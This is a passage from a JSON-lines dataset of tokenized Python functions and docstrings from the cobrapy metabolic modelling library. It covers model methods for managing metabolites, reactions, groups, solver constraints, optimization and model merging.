new.reactions.get_by_id(member.id)<EOL><DEDENT>elif isinstance(member, Gene):<EOL><INDENT>new_object = new.genes.get_by_id(member.id)<EOL><DEDENT>elif isinstance(member, Group):<EOL><INDENT>new_object = new.genes.get_by_id(member.id)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(member))<EOL><DEDENT>new_objects.append(new_object)<EOL><DEDENT>new_group.add_members(new_objects)<EOL><DEDENT>try:<EOL><INDENT>new._solver = deepcopy(self.solver)<EOL><DEDENT>except Exception:  <EOL><INDENT>new._solver = copy(self.solver)  <EOL><DEDENT>new._contexts = list()<EOL>return new<EOL>", "docstring": "Provides a partial 'deepcopy' of the Model.  All of the Metabolite,\n        Gene, and Reaction objects are created anew but in a faster fashion\n        than deepcopy", "id": "f15897:c0:m16"}
{"signature": "def add_metabolites(self, metabolite_list):", "body": "if not hasattr(metabolite_list, '<STR_LIT>'):<EOL><INDENT>metabolite_list = [metabolite_list]<EOL><DEDENT>if len(metabolite_list) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>metabolite_list = [x for x in metabolite_list<EOL>if x.id not in self.metabolites]<EOL>bad_ids = [m for m in metabolite_list<EOL>if not isinstance(m.id, string_types) or len(m.id) < <NUM_LIT:1>]<EOL>if len(bad_ids) != <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(repr(bad_ids)))<EOL><DEDENT>for x in metabolite_list:<EOL><INDENT>x._model = self<EOL><DEDENT>self.metabolites += metabolite_list<EOL>to_add = []<EOL>for met in metabolite_list:<EOL><INDENT>if met.id not in self.constraints:<EOL><INDENT>constraint = self.problem.Constraint(<EOL>Zero, name=met.id, lb=<NUM_LIT:0>, ub=<NUM_LIT:0>)<EOL>to_add += [constraint]<EOL><DEDENT><DEDENT>self.add_cons_vars(to_add)<EOL>context = get_context(self)<EOL>if context:<EOL><INDENT>context(partial(self.metabolites.__isub__, metabolite_list))<EOL>for x in metabolite_list:<EOL><INDENT>context(partial(setattr, x, '<STR_LIT>', None))<EOL><DEDENT><DEDENT>", "docstring": "Will add a list of metabolites to the model object and add new\n        constraints accordingly.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        metabolite_list : A list of `cobra.core.Metabolite` objects", "id": "f15897:c0:m17"}
{"signature": "def remove_metabolites(self, metabolite_list, destructive=False):", "body": "if not hasattr(metabolite_list, '<STR_LIT>'):<EOL><INDENT>metabolite_list = [metabolite_list]<EOL><DEDENT>metabolite_list = [x for x in metabolite_list<EOL>if x.id in self.metabolites]<EOL>for x in metabolite_list:<EOL><INDENT>x._model = None<EOL>associated_groups = self.get_associated_groups(x)<EOL>for group in associated_groups:<EOL><INDENT>group.remove_members(x)<EOL><DEDENT>if not destructive:<EOL><INDENT>for the_reaction in list(x._reaction):<EOL><INDENT>the_coefficient = the_reaction._metabolites[x]<EOL>the_reaction.subtract_metabolites({x: the_coefficient})<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for x in list(x._reaction):<EOL><INDENT>x.remove_from_model()<EOL><DEDENT><DEDENT><DEDENT>self.metabolites -= metabolite_list<EOL>to_remove = [self.solver.constraints[m.id] for m in metabolite_list]<EOL>self.remove_cons_vars(to_remove)<EOL>context = get_context(self)<EOL>if context:<EOL><INDENT>context(partial(self.metabolites.__iadd__, metabolite_list))<EOL>for x in metabolite_list:<EOL><INDENT>context(partial(setattr, x, '<STR_LIT>', self))<EOL><DEDENT><DEDENT>", "docstring": "Remove a list of metabolites from the the object.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        metabolite_list : list\n            A list with `cobra.Metabolite` objects as elements.\n\n        destructive : bool\n            If False then the metabolite is removed from all\n            associated reactions.  If True then all associated\n            reactions are removed from the Model.", "id": "f15897:c0:m18"}
{"signature": "def add_reaction(self, reaction):", "body": "warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>self.add_reactions([reaction])<EOL>", "docstring": "Will add a cobra.Reaction object to the model, if\n        reaction.id is not in self.reactions.\n\n        Parameters\n        ----------\n        reaction : cobra.Reaction\n            The reaction to add\n\n        Deprecated (0.6). Use `~cobra.Model.add_reactions` instead", "id": "f15897:c0:m19"}
{"signature": "def add_boundary(self, metabolite, type=\"<STR_LIT>\", reaction_id=None,<EOL>lb=None, ub=None, sbo_term=None):", "body": "ub = CONFIGURATION.upper_bound if ub is None else ub<EOL>lb = CONFIGURATION.lower_bound if lb is None else lb<EOL>types = {<EOL>\"<STR_LIT>\": (\"<STR_LIT>\", lb, ub, sbo_terms[\"<STR_LIT>\"]),<EOL>\"<STR_LIT>\": (\"<STR_LIT>\", <NUM_LIT:0>, ub, sbo_terms[\"<STR_LIT>\"]),<EOL>\"<STR_LIT>\": (\"<STR_LIT>\", lb, ub, sbo_terms[\"<STR_LIT>\"])<EOL>}<EOL>if type == \"<STR_LIT>\":<EOL><INDENT>external = find_external_compartment(self)<EOL>if metabolite.compartment != external:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(metabolite.compartment, external))<EOL><DEDENT><DEDENT>if type in types:<EOL><INDENT>prefix, lb, ub, default_term = types[type]<EOL>if reaction_id is None:<EOL><INDENT>reaction_id = \"<STR_LIT>\".format(prefix, metabolite.id)<EOL><DEDENT>if sbo_term is None:<EOL><INDENT>sbo_term = default_term<EOL><DEDENT><DEDENT>if reaction_id is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if reaction_id in self.reactions:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\".format(reaction_id))<EOL><DEDENT>name = \"<STR_LIT>\".format(metabolite.name, type)<EOL>rxn = Reaction(id=reaction_id, name=name, lower_bound=lb,<EOL>upper_bound=ub)<EOL>rxn.add_metabolites({metabolite: -<NUM_LIT:1>})<EOL>if sbo_term:<EOL><INDENT>rxn.annotation[\"<STR_LIT>\"] = sbo_term<EOL><DEDENT>self.add_reactions([rxn])<EOL>return rxn<EOL>", "docstring": "Add a boundary reaction for a given metabolite.\n\nThere are three different types of pre-defined boundary reactions:\nexchange, demand, and sink reactions.\nAn exchange reaction is a reversible, unbalanced reaction that adds\nto or removes an extracellular metabolite from the extracellular\ncompartment.\nA demand reaction is an irreversible reaction that consumes an\nintracellular metabolite.\nA sink is similar to an exchange but specifically for intracellular\nmetabolites.\n\nIf you set the reaction `type` to something else, you must specify the\ndesired identifier of the created reaction along with its upper and\nlower bound. The name will be given by the metabolite name and the\ngiven `type`.\n\nParameters\n----------\nmetabolite : cobra.Metabolite\n    Any given metabolite. The compartment is not checked but you are\n    encouraged to stick to the definition of exchanges and sinks.\ntype : str, {\"exchange\", \"demand\", \"sink\"}\n    Using one of the pre-defined reaction types is easiest. If you\n    want to create your own kind of boundary reaction choose\n    any other string, e.g., 'my-boundary'.\nreaction_id : str, optional\n    The ID of the resulting reaction. This takes precedence over the\n    auto-generated identifiers but beware that it might make boundary\n    reactions harder to identify afterwards when using `model.boundary`\n    or specifically `model.exchanges` etc.\nlb : float, optional\n    The lower bound of the resulting reaction.\nub : float, optional\n    The upper bound of the resulting reaction.\nsbo_term : str, optional\n    A correct SBO term is set for the available types. If a custom\n    type is chosen, a suitable SBO term should also be set.\n\nReturns\n-------\ncobra.Reaction\n    The created boundary reaction.\n\nExamples\n--------\n>>> import cobra.test\n>>> model = cobra.test.create_test_model(\"textbook\")\n>>> demand = model.add_boundary(model.metabolites.atp_c, type=\"demand\")\n>>> demand.id\n'DM_atp_c'\n>>> demand.name\n'ATP demand'\n>>> demand.bounds\n(0, 1000.0)\n>>> demand.build_reaction_string()\n'atp_c --> '", "id": "f15897:c0:m20"}
{"signature": "def add_reactions(self, reaction_list):", "body": "def existing_filter(rxn):<EOL><INDENT>if rxn.id in self.reactions:<EOL><INDENT>LOGGER.warning(<EOL>\"<STR_LIT>\", rxn.id)<EOL>return False<EOL><DEDENT>return True<EOL><DEDENT>pruned = DictList(filter(existing_filter, reaction_list))<EOL>context = get_context(self)<EOL>for reaction in pruned:<EOL><INDENT>reaction._model = self<EOL>for metabolite in list(reaction.metabolites):<EOL><INDENT>if metabolite not in self.metabolites:<EOL><INDENT>self.add_metabolites(metabolite)<EOL><DEDENT>else:<EOL><INDENT>stoichiometry = reaction._metabolites.pop(metabolite)<EOL>model_metabolite = self.metabolites.get_by_id(<EOL>metabolite.id)<EOL>reaction._metabolites[model_metabolite] = stoichiometry<EOL>model_metabolite._reaction.add(reaction)<EOL>if context:<EOL><INDENT>context(partial(<EOL>model_metabolite._reaction.remove, reaction))<EOL><DEDENT><DEDENT><DEDENT>for gene in list(reaction._genes):<EOL><INDENT>if not self.genes.has_id(gene.id):<EOL><INDENT>self.genes += [gene]<EOL>gene._model = self<EOL>if context:<EOL><INDENT>context(partial(self.genes.__isub__, [gene]))<EOL>context(partial(setattr, gene, '<STR_LIT>', None))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>model_gene = self.genes.get_by_id(gene.id)<EOL>if model_gene is not gene:<EOL><INDENT>reaction._dissociate_gene(gene)<EOL>reaction._associate_gene(model_gene)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>self.reactions += pruned<EOL>if context:<EOL><INDENT>context(partial(self.reactions.__isub__, pruned))<EOL><DEDENT>self._populate_solver(pruned)<EOL>", "docstring": "Add reactions to the model.\n\n        Reactions with identifiers identical to a reaction already in the\n        model are ignored.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        reaction_list : list\n            A list of `cobra.Reaction` objects", "id": "f15897:c0:m21"}
{"signature": "def remove_reactions(self, reactions, remove_orphans=False):", "body": "if isinstance(reactions, string_types) or hasattr(reactions, \"<STR_LIT:id>\"):<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>reactions = [reactions]<EOL><DEDENT>context = get_context(self)<EOL>for reaction in reactions:<EOL><INDENT>try:<EOL><INDENT>reaction = self.reactions[self.reactions.index(reaction)]<EOL><DEDENT>except ValueError:<EOL><INDENT>warn('<STR_LIT>' % (reaction, self))<EOL><DEDENT>else:<EOL><INDENT>forward = reaction.forward_variable<EOL>reverse = reaction.reverse_variable<EOL>if context:<EOL><INDENT>obj_coef = reaction.objective_coefficient<EOL>if obj_coef != <NUM_LIT:0>:<EOL><INDENT>context(partial(<EOL>self.solver.objective.set_linear_coefficients,<EOL>{forward: obj_coef, reverse: -obj_coef}))<EOL><DEDENT>context(partial(self._populate_solver, [reaction]))<EOL>context(partial(setattr, reaction, '<STR_LIT>', self))<EOL>context(partial(self.reactions.add, reaction))<EOL><DEDENT>self.remove_cons_vars([forward, reverse])<EOL>self.reactions.remove(reaction)<EOL>reaction._model = None<EOL>for met in reaction._metabolites:<EOL><INDENT>if reaction in met._reaction:<EOL><INDENT>met._reaction.remove(reaction)<EOL>if context:<EOL><INDENT>context(partial(met._reaction.add, reaction))<EOL><DEDENT>if remove_orphans and len(met._reaction) == <NUM_LIT:0>:<EOL><INDENT>self.remove_metabolites(met)<EOL><DEDENT><DEDENT><DEDENT>for gene in reaction._genes:<EOL><INDENT>if reaction in gene._reaction:<EOL><INDENT>gene._reaction.remove(reaction)<EOL>if context:<EOL><INDENT>context(partial(gene._reaction.add, reaction))<EOL><DEDENT>if remove_orphans and len(gene._reaction) == <NUM_LIT:0>:<EOL><INDENT>self.genes.remove(gene)<EOL>if context:<EOL><INDENT>context(partial(self.genes.add, gene))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>associated_groups = self.get_associated_groups(reaction)<EOL>for group in associated_groups:<EOL><INDENT>group.remove_members(reaction)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Remove reactions from the model.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        reactions : list\n            A list with reactions (`cobra.Reaction`), or their id's, to remove\n\n        remove_orphans : bool\n            Remove orphaned genes and metabolites from the model as well", "id": "f15897:c0:m22"}
{"signature": "def add_groups(self, group_list):", "body": "def existing_filter(group):<EOL><INDENT>if group.id in self.groups:<EOL><INDENT>LOGGER.warning(<EOL>\"<STR_LIT>\", group.id)<EOL>return False<EOL><DEDENT>return True<EOL><DEDENT>if isinstance(group_list, string_types) orhasattr(group_list, \"<STR_LIT:id>\"):<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>group_list = [group_list]<EOL><DEDENT>pruned = DictList(filter(existing_filter, group_list))<EOL>for group in pruned:<EOL><INDENT>group._model = self<EOL>for member in group.members:<EOL><INDENT>if isinstance(member, Metabolite):<EOL><INDENT>if member not in self.metabolites:<EOL><INDENT>self.add_metabolites([member])<EOL><DEDENT><DEDENT>if isinstance(member, Reaction):<EOL><INDENT>if member not in self.reactions:<EOL><INDENT>self.add_reactions([member])<EOL><DEDENT><DEDENT><DEDENT>self.groups += [group]<EOL><DEDENT>", "docstring": "Add groups to the model.\n\n        Groups with identifiers identical to a group already in the model are\n        ignored.\n\n        If any group contains members that are not in the model, these members\n        are added to the model as well. Only metabolites, reactions, and genes\n        can have groups.\n\n        Parameters\n        ----------\n        group_list : list\n            A list of `cobra.Group` objects to add to the model.", "id": "f15897:c0:m23"}
{"signature": "def remove_groups(self, group_list):", "body": "if isinstance(group_list, string_types) orhasattr(group_list, \"<STR_LIT:id>\"):<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>group_list = [group_list]<EOL><DEDENT>for group in group_list:<EOL><INDENT>if group.id not in self.groups:<EOL><INDENT>LOGGER.warning(\"<STR_LIT>\", group, self)<EOL><DEDENT>else:<EOL><INDENT>self.groups.remove(group)<EOL>group._model = None<EOL><DEDENT><DEDENT>", "docstring": "Remove groups from the model.\n\n        Members of each group are not removed\n        from the model (i.e. metabolites, reactions, and genes in the group\n        stay in the model after any groups containing them are removed).\n\n        Parameters\n        ----------\n        group_list : list\n            A list of `cobra.Group` objects to remove from the model.", "id": "f15897:c0:m24"}
{"signature": "def get_associated_groups(self, element):", "body": "<EOL>return [g for g in self.groups if element in g.members]<EOL>", "docstring": "Returns a list of groups that an element (reaction, metabolite, gene)\n        is associated with.\n\n        Parameters\n        ----------\n        element: `cobra.Reaction`, `cobra.Metabolite`, or `cobra.Gene`\n\n        Returns\n        -------\n        list of `cobra.Group`\n            All groups that the provided object is a member of", "id": "f15897:c0:m25"}
{"signature": "def add_cons_vars(self, what, **kwargs):", "body": "add_cons_vars_to_problem(self, what, **kwargs)<EOL>", "docstring": "Add constraints and variables to the model's mathematical problem.\n\n        Useful for variables and constraints that can not be expressed with\n        reactions and simple lower and upper bounds.\n\n        Additions are reversed upon exit if the model itself is used as\n        context.\n\n        Parameters\n        ----------\n        what : list or tuple of optlang variables or constraints.\n           The variables or constraints to add to the model. Must be of\n           class `optlang.interface.Variable` or\n           `optlang.interface.Constraint`.\n        **kwargs : keyword arguments\n           Passed to solver.add()", "id": "f15897:c0:m26"}
{"signature": "def remove_cons_vars(self, what):", "body": "remove_cons_vars_from_problem(self, what)<EOL>", "docstring": "Remove variables and constraints from the model's mathematical\n        problem.\n\n        Remove variables and constraints that were added directly to the\n        model's underlying mathematical problem. Removals are reversed\n        upon exit if the model itself is used as context.\n\n        Parameters\n        ----------\n        what : list or tuple of optlang variables or constraints.\n           The variables or constraints to add to the model. Must be of\n           class `optlang.interface.Variable` or\n           `optlang.interface.Constraint`.", "id": "f15897:c0:m27"}
{"signature": "@property<EOL><INDENT>def problem(self):<DEDENT>", "body": "return self.solver.interface<EOL>", "docstring": "The interface to the model's underlying mathematical problem.\n\n        Solutions to cobra models are obtained by formulating a mathematical\n        problem and solving it. Cobrapy uses the optlang package to\n        accomplish that and with this property you can get access to the\n        problem interface directly.\n\n        Returns\n        -------\n        optlang.interface\n            The problem interface that defines methods for interacting with\n            the problem and associated solver directly.", "id": "f15897:c0:m28"}
{"signature": "@property<EOL><INDENT>def variables(self):<DEDENT>", "body": "return self.solver.variables<EOL>", "docstring": "The mathematical variables in the cobra model.\n\n        In a cobra model, most variables are reactions. However,\n        for specific use cases, it may also be useful to have other types of\n        variables. This property defines all variables currently associated\n        with the model's problem.\n\n        Returns\n        -------\n        optlang.container.Container\n            A container with all associated variables.", "id": "f15897:c0:m29"}
{"signature": "@property<EOL><INDENT>def constraints(self):<DEDENT>", "body": "return self.solver.constraints<EOL>", "docstring": "The constraints in the cobra model.\n\n        In a cobra model, most constraints are metabolites and their\n        stoichiometries. However, for specific use cases, it may also be\n        useful to have other types of constraints. This property defines all\n        constraints currently associated with the model's problem.\n\n        Returns\n        -------\n        optlang.container.Container\n            A container with all associated constraints.", "id": "f15897:c0:m30"}
{"signature": "@property<EOL><INDENT>def boundary(self):<DEDENT>", "body": "return [rxn for rxn in self.reactions if rxn.boundary]<EOL>", "docstring": "Boundary reactions in the model.\n        Reactions that either have no substrate or product.", "id": "f15897:c0:m31"}
{"signature": "@property<EOL><INDENT>def exchanges(self):<DEDENT>", "body": "return find_boundary_types(self, \"<STR_LIT>\", None)<EOL>", "docstring": "Exchange reactions in model.\n        Reactions that exchange mass with the exterior. Uses annotations\n        and heuristics to exclude non-exchanges such as sink reactions.", "id": "f15897:c0:m32"}
{"signature": "@property<EOL><INDENT>def demands(self):<DEDENT>", "body": "return find_boundary_types(self, \"<STR_LIT>\", None)<EOL>", "docstring": "Demand reactions in model.\n        Irreversible reactions that accumulate or consume a metabolite in\n        the inside of the model.", "id": "f15897:c0:m33"}
{"signature": "@property<EOL><INDENT>def sinks(self):<DEDENT>", "body": "return find_boundary_types(self, \"<STR_LIT>\", None)<EOL>", "docstring": "Sink reactions in model.\n        Reversible reactions that accumulate or consume a metabolite in\n        the inside of the model.", "id": "f15897:c0:m34"}
{"signature": "def _populate_solver(self, reaction_list, metabolite_list=None):", "body": "constraint_terms = AutoVivification()<EOL>to_add = []<EOL>if metabolite_list is not None:<EOL><INDENT>for met in metabolite_list:<EOL><INDENT>to_add += [self.problem.Constraint(<EOL>Zero, name=met.id, lb=<NUM_LIT:0>, ub=<NUM_LIT:0>)]<EOL><DEDENT><DEDENT>self.add_cons_vars(to_add)<EOL>for reaction in reaction_list:<EOL><INDENT>if reaction.id not in self.variables:<EOL><INDENT>forward_variable = self.problem.Variable(reaction.id)<EOL>reverse_variable = self.problem.Variable(reaction.reverse_id)<EOL>self.add_cons_vars([forward_variable, reverse_variable])<EOL><DEDENT>else:<EOL><INDENT>reaction = self.reactions.get_by_id(reaction.id)<EOL>forward_variable = reaction.forward_variable<EOL>reverse_variable = reaction.reverse_variable<EOL><DEDENT>for metabolite, coeff in six.iteritems(reaction.metabolites):<EOL><INDENT>if metabolite.id in self.constraints:<EOL><INDENT>constraint = self.constraints[metabolite.id]<EOL><DEDENT>else:<EOL><INDENT>constraint = self.problem.Constraint(<EOL>Zero,<EOL>name=metabolite.id,<EOL>lb=<NUM_LIT:0>, ub=<NUM_LIT:0>)<EOL>self.add_cons_vars(constraint, sloppy=True)<EOL><DEDENT>constraint_terms[constraint][forward_variable] = coeff<EOL>constraint_terms[constraint][reverse_variable] = -coeff<EOL><DEDENT><DEDENT>self.solver.update()<EOL>for reaction in reaction_list:<EOL><INDENT>reaction = self.reactions.get_by_id(reaction.id)<EOL>reaction.update_variable_bounds()<EOL><DEDENT>for constraint, terms in six.iteritems(constraint_terms):<EOL><INDENT>constraint.set_linear_coefficients(terms)<EOL><DEDENT>", "docstring": "Populate attached solver with constraints and variables that\n        model the provided reactions.", "id": "f15897:c0:m35"}
{"signature": "def slim_optimize(self, error_value=float('<STR_LIT>'), message=None):", "body": "self.solver.optimize()<EOL>if self.solver.status == optlang.interface.OPTIMAL:<EOL><INDENT>return self.solver.objective.value<EOL><DEDENT>elif error_value is not None:<EOL><INDENT>return error_value<EOL><DEDENT>else:<EOL><INDENT>assert_optimal(self, message)<EOL><DEDENT>", "docstring": "Optimize model without creating a solution object.\n\n        Creating a full solution object implies fetching shadow prices and\n        flux values for all reactions and metabolites from the solver\n        object. This necessarily takes some time and in cases where only one\n        or two values are of interest, it is recommended to instead use this\n        function which does not create a solution object returning only the\n        value of the objective. Note however that the `optimize()` function\n        uses efficient means to fetch values so if you need fluxes/shadow\n        prices for more than say 4 reactions/metabolites, then the total\n        speed increase of `slim_optimize` versus `optimize` is  expected to\n        be small or even negative depending on how you fetch the values\n        after optimization.\n\n        Parameters\n        ----------\n        error_value : float, None\n           The value to return if optimization failed due to e.g.\n           infeasibility. If None, raise `OptimizationError` if the\n           optimization fails.\n        message : string\n           Error message to use if the model optimization did not succeed.\n\n        Returns\n        -------\n        float\n            The objective value.", "id": "f15897:c0:m36"}
{"signature": "def optimize(self, objective_sense=None, raise_error=False):", "body": "original_direction = self.objective.direction<EOL>self.objective.direction ={\"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": \"<STR_LIT>\"}.get(<EOL>objective_sense, original_direction)<EOL>self.slim_optimize()<EOL>solution = get_solution(self, raise_error=raise_error)<EOL>self.objective.direction = original_direction<EOL>return solution<EOL>", "docstring": "Optimize the model using flux balance analysis.\n\nParameters\n----------\nobjective_sense : {None, 'maximize' 'minimize'}, optional\n    Whether fluxes should be maximized or minimized. In case of None,\n    the previous direction is used.\nraise_error : bool\n    If true, raise an OptimizationError if solver status is not\n     optimal.\n\nNotes\n-----\nOnly the most commonly used parameters are presented here.  Additional\nparameters for cobra.solvers may be available and specified with the\nappropriate keyword argument.", "id": "f15897:c0:m37"}
{"signature": "def repair(self, rebuild_index=True, rebuild_relationships=True):", "body": "if rebuild_index:  <EOL><INDENT>self.reactions._generate_index()<EOL>self.metabolites._generate_index()<EOL>self.genes._generate_index()<EOL>self.groups._generate_index()<EOL><DEDENT>if rebuild_relationships:<EOL><INDENT>for met in self.metabolites:<EOL><INDENT>met._reaction.clear()<EOL><DEDENT>for gene in self.genes:<EOL><INDENT>gene._reaction.clear()<EOL><DEDENT>for rxn in self.reactions:<EOL><INDENT>for met in rxn._metabolites:<EOL><INDENT>met._reaction.add(rxn)<EOL><DEDENT>for gene in rxn._genes:<EOL><INDENT>gene._reaction.add(rxn)<EOL><DEDENT><DEDENT><DEDENT>for l in (self.reactions, self.genes, self.metabolites, self.groups):<EOL><INDENT>for e in l:<EOL><INDENT>e._model = self<EOL><DEDENT><DEDENT>", "docstring": "Update all indexes and pointers in a model\n\n        Parameters\n        ----------\n        rebuild_index : bool\n            rebuild the indices kept in reactions, metabolites and genes\n        rebuild_relationships : bool\n             reset all associations between genes, metabolites, model and\n             then re-add them.", "id": "f15897:c0:m38"}
{"signature": "@property<EOL><INDENT>def objective(self):<DEDENT>", "body": "return self.solver.objective<EOL>", "docstring": "Get or set the solver objective\n\n        Before introduction of the optlang based problems,\n        this function returned the objective reactions as a list. With\n        optlang, the objective is not limited a simple linear summation of\n        individual reaction fluxes, making that return value ambiguous.\n        Henceforth, use `cobra.util.solver.linear_reaction_coefficients` to\n        get a dictionary of reactions with their linear coefficients (empty\n        if there are none)\n\n        The set value can be dictionary (reactions as keys, linear\n        coefficients as values), string (reaction identifier), int (reaction\n        index), Reaction or problem.Objective or sympy expression\n        directly interpreted as objectives.\n\n        When using a `HistoryManager` context, this attribute can be set\n        temporarily, reversed when the exiting the context.", "id": "f15897:c0:m39"}
{"signature": "@property<EOL><INDENT>def objective_direction(self):<DEDENT>", "body": "return self.solver.objective.direction<EOL>", "docstring": "Get or set the objective direction.\n\nWhen using a `HistoryManager` context, this attribute can be set\ntemporarily, reversed when exiting the context.", "id": "f15897:c0:m41"}
{"signature": "def summary(self, solution=None, threshold=<NUM_LIT>, fva=None, names=False,<EOL>floatfmt='<STR_LIT>'):", "body": "from cobra.flux_analysis.summary import model_summary<EOL>return model_summary(self, solution=solution, threshold=threshold,<EOL>fva=fva, names=names, floatfmt=floatfmt)<EOL>", "docstring": "Print a summary of the input and output fluxes of the model.\n\nParameters\n----------\nsolution: cobra.Solution, optional\n    A previously solved model solution to use for generating the\n    summary. If none provided (default), the summary method will\n    resolve the model. Note that the solution object must match the\n    model, i.e., changes to the model such as changed bounds,\n    added or removed reactions are not taken into account by this\n    method.\nthreshold : float, optional\n    Threshold below which fluxes are not reported.\nfva : pandas.DataFrame, float or None, optional\n    Whether or not to include flux variability analysis in the output.\n    If given, fva should either be a previous FVA solution matching\n    the model or a float between 0 and 1 representing the\n    fraction of the optimum objective to be searched.\nnames : bool, optional\n    Emit reaction and metabolite names rather than identifiers (default\n    False).\nfloatfmt : string, optional\n    Format string for floats (default '.3g').", "id": "f15897:c0:m43"}
{"signature": "def __enter__(self):", "body": "<EOL>try:<EOL><INDENT>self._contexts.append(HistoryManager())<EOL><DEDENT>except AttributeError:<EOL><INDENT>self._contexts = [HistoryManager()]<EOL><DEDENT>return self<EOL>", "docstring": "Record all future changes to the model, undoing them when a call to\n        __exit__ is received", "id": "f15897:c0:m44"}
{"signature": "def __exit__(self, type, value, traceback):", "body": "context = self._contexts.pop()<EOL>context.reset()<EOL>", "docstring": "Pop the top context manager and trigger the undo functions", "id": "f15897:c0:m45"}
{"signature": "def merge(self, right, prefix_existing=None, inplace=True,<EOL>objective='<STR_LIT:left>'):", "body": "if inplace:<EOL><INDENT>new_model = self<EOL><DEDENT>else:<EOL><INDENT>new_model = self.copy()<EOL>new_model.id = '<STR_LIT>'.format(self.id, right.id)<EOL><DEDENT>new_reactions = deepcopy(right.reactions)<EOL>if prefix_existing is not None:<EOL><INDENT>existing = new_reactions.query(<EOL>lambda rxn: rxn.id in self.reactions)<EOL>for reaction in existing:<EOL><INDENT>reaction.id = '<STR_LIT>'.format(prefix_existing, reaction.id)<EOL><DEDENT><DEDENT>new_model.add_reactions(new_reactions)<EOL>interface = new_model.problem<EOL>new_vars = [interface.Variable.clone(v) for v in right.variables if<EOL>v.name not in new_model.variables]<EOL>new_model.add_cons_vars(new_vars)<EOL>new_cons = [interface.Constraint.clone(c, model=new_model.solver)<EOL>for c in right.constraints if<EOL>c.name not in new_model.constraints]<EOL>new_model.add_cons_vars(new_cons, sloppy=True)<EOL>new_model.objective = dict(<EOL>left=self.objective,<EOL>right=right.objective,<EOL>sum=self.objective.expression + right.objective.expression<EOL>)[objective]<EOL>return new_model<EOL>", "docstring": "Merge two models to create a model with the reactions from both\n        models.\n\n        Custom constraints and variables from right models are also copied\n        to left model, however note that, constraints and variables are\n        assumed to be the same if they have the same name.\n\n        right : cobra.Model\n            The model to add reactions from\n        prefix_existing : string\n            Prefix the reaction identifier in the right that already exist\n            in the left model with this string.\n        inplace : bool\n            Add reactions from right directly to left model object.\n            Otherwise, create a new model leaving the left model untouched.\n            When done within the model as context, changes to the models are\n            reverted upon exit.\n        objective : string\n            One of 'left', 'right' or 'sum' for setting the objective of the\n            resulting model to that of the corresponding model or the sum of\n            both.", "id": "f15897:c0:m46"}
{"signature": "def __init__(self, id=None, name=\"<STR_LIT>\"):", "body": "self._id = id<EOL>self.name = name<EOL>self.notes = {}<EOL>self.annotation = {}<EOL>", "docstring": "A simple object with an identifier\n\n        Parameters\n        ----------\n        id: None or a string\n            the identifier to associate with the object", "id": "f15898:c0:m0"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>if '<STR_LIT>' in state:<EOL><INDENT>state['<STR_LIT>'] = None<EOL><DEDENT>return state<EOL>", "docstring": "To prevent excessive replication during deepcopy.", "id": "f15898:c0:m4"}
{"signature": "@property<EOL><INDENT>def constraint(self):<DEDENT>", "body": "if self.model is not None:<EOL><INDENT>return self.model.constraints[self.id]<EOL><DEDENT>", "docstring": "Get the constraints associated with this metabolite from the solve\n\n        Returns\n        -------\n        optlang.<interface>.Constraint\n            the optlang constraint for this metabolite", "id": "f15899:c0:m2"}
{"signature": "@property<EOL><INDENT>def elements(self):<DEDENT>", "body": "tmp_formula = self.formula<EOL>if tmp_formula is None:<EOL><INDENT>return {}<EOL><DEDENT>tmp_formula = str(self.formula)<EOL>if \"<STR_LIT:*>\" in tmp_formula:<EOL><INDENT>warn(\"<STR_LIT>\" % self.formula)<EOL>tmp_formula = tmp_formula.replace(\"<STR_LIT:*>\", \"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT:(>\" in tmp_formula or \"<STR_LIT:)>\" in tmp_formula:<EOL><INDENT>warn(\"<STR_LIT>\" % self.formula)<EOL>return None<EOL><DEDENT>composition = {}<EOL>parsed = element_re.findall(tmp_formula)<EOL>for (element, count) in parsed:<EOL><INDENT>if count == '<STR_LIT>':<EOL><INDENT>count = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>count = float(count)<EOL>int_count = int(count)<EOL>if count == int_count:<EOL><INDENT>count = int_count<EOL><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" %<EOL>(count, self.formula))<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>warn(\"<STR_LIT>\" %<EOL>(count, self.formula))<EOL>return None<EOL><DEDENT><DEDENT>if element in composition:<EOL><INDENT>composition[element] += count<EOL><DEDENT>else:<EOL><INDENT>composition[element] = count<EOL><DEDENT><DEDENT>return composition<EOL>", "docstring": "Dictionary of elements as keys and their count in the metabolite\n        as integer. When set, the `formula` property is update accordingly", "id": "f15899:c0:m3"}
{"signature": "@property<EOL><INDENT>def formula_weight(self):<DEDENT>", "body": "try:<EOL><INDENT>return sum([count * elements_and_molecular_weights[element]<EOL>for element, count in self.elements.items()])<EOL><DEDENT>except KeyError as e:<EOL><INDENT>warn(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Calculate the formula weight", "id": "f15899:c0:m5"}
